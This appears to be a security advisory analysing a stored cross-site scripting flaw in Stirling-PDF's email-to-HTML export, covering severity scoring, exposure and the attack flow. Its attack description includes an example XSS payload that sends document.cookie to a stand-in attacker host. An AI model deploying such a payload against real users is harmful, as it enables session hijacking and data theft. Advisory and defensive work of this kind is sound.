Stirling Pdf CVE-2026-34071

The CVSS v3.1 score of 5.4 (Medium) reflects a network-accessible vector with low attack complexity and no privilege requirements, but limited impact scope (user context only). However, this severity assessment should be contextualized against exploitation signals: a proof-of-concept has been demonstrated (per SSVC data indicating 'Exploitation: poc'), indicating the vulnerability is straightforward to exploit and not hypothetical. The SSVC framework notes the impact is 'partial' (limited to confidentiality and integrity of user session/data) and the attack is 'not automatable' (requires user interaction to export email via the specific feature). The attack vector (AV:N), low complexity (AC:L), and requirement for user interaction (UI:R) align with a stored XSS scenario where the malicious payload must be sent to a target user. Real-world risk is moderate: this affects only users who actively use the email-to-HTML export feature with the downloadHtml flag, a narrower attack surface than general-purpose web applications. The requirement for user action and the local/self-hosted nature of Stirling-PDF (reducing exposure compared to SaaS platforms) suggest this is a meaningful but not critical priority for organizations running Stirling-PDF in production.

An attacker crafts a malicious email containing JavaScript payloads embedded in HTML tags (e.g., <img src=x onerror="fetch('https://attacker.com/?cookie='+document.cookie)"> or <script>alert('XSS')</script>) and sends it to a Stirling-PDF user. When the user processes this email through the Stirling-PDF interface and requests the 'Download HTML intermediate file' export with downloadHtml=true, the application returns the email body as unsanitized HTML with Content-Type: text/html, causing the user's browser to parse and execute the embedded JavaScript. The attacker's script executes in the context of the user's session, allowing theft of session tokens, CSRF attacks against local services, or exfiltration of sensitive data accessible to the user's browser. Proof-of-concept code demonstrating this attack flow has been published, making exploitation straightforward for technical users.